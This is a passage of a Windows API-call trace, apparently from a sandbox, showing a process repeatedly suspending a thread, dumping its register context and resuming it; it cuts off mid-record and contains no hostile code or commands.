	[0276.227] SuspendThread (hThread=0x1b4) returned 0x0
	[0276.227] GetThreadContext (in: hThread=0x1b4, lpContext=0x70705ff620 | out: lpContext=0x70705ff620*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020fd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.229] ResumeThread (hThread=0x1b4) returned 0x1
	[0276.229] CloseHandle (hObject=0x1b4) returned 1
	[0276.229] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70705ff608, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70705ff608*=0x1b4) returned 1
	[0276.230] SuspendThread (hThread=0x1b4) returned 0x0
	[0276.230] GetThreadContext (in: hThread=0x1b4, lpContext=0x70705ff620 | out: lpContext=0x70705ff620*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020fd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.230] ResumeThread (hThread=0x1b4) returned 0x1
	[0276.230] CloseHandle (hObject=0x1b4) returned 1
	[0276.231] SwitchToThread () returned 1
	[0276.266] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70705ff608, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70705ff608*=0x1b4) returned 1
	[0276.266] SuspendThread (hThread=0x1b4) returned 0x0
	[0276.266] GetThreadContext (in: hThread=0x1b4, lpContext=0x70705ff620 | out: lpContext=0x70705ff620*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020fd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.267] SetEvent (hEvent=0x124) returned 1
	[0276.267] ResumeThread (hThread=0x1b4) returned 0x1
	[0276.267] CloseHandle (hObject=0x1b4) returned 1
	[0276.267] SwitchToThread () returned 1
	[0276.342] SwitchToThread () returned 1
	[0276.342] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70705ff608, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70705ff608*=0x1ac) returned 1
	[0276.343] SuspendThread (hThread=0x1ac) returned 0x0
	[0276.343] GetThreadContext (in: hThread=0x1ac, lpContext=0x70705ff620 | out: lpContext=0x70705ff620*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020fd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.343] ResumeThread (hThread=0x1ac) returned 0x1
	[0276.343] CloseHandle (hObject=0x1ac) returned 1
	[0276.343] SwitchToThread () returned 1
	[0276.458] SwitchToThread () returned 1
	[0276.459] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70705ff608, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70705ff608*=0x1ac) returned 1
	[0276.459] SuspendThread (hThread=0x1ac) returned 0x0
	[0276.459] GetThreadContext (in: hThread=0x1ac, lpContext=0x70705ff620 | out: lpContext=0x70705ff620*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020fd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, 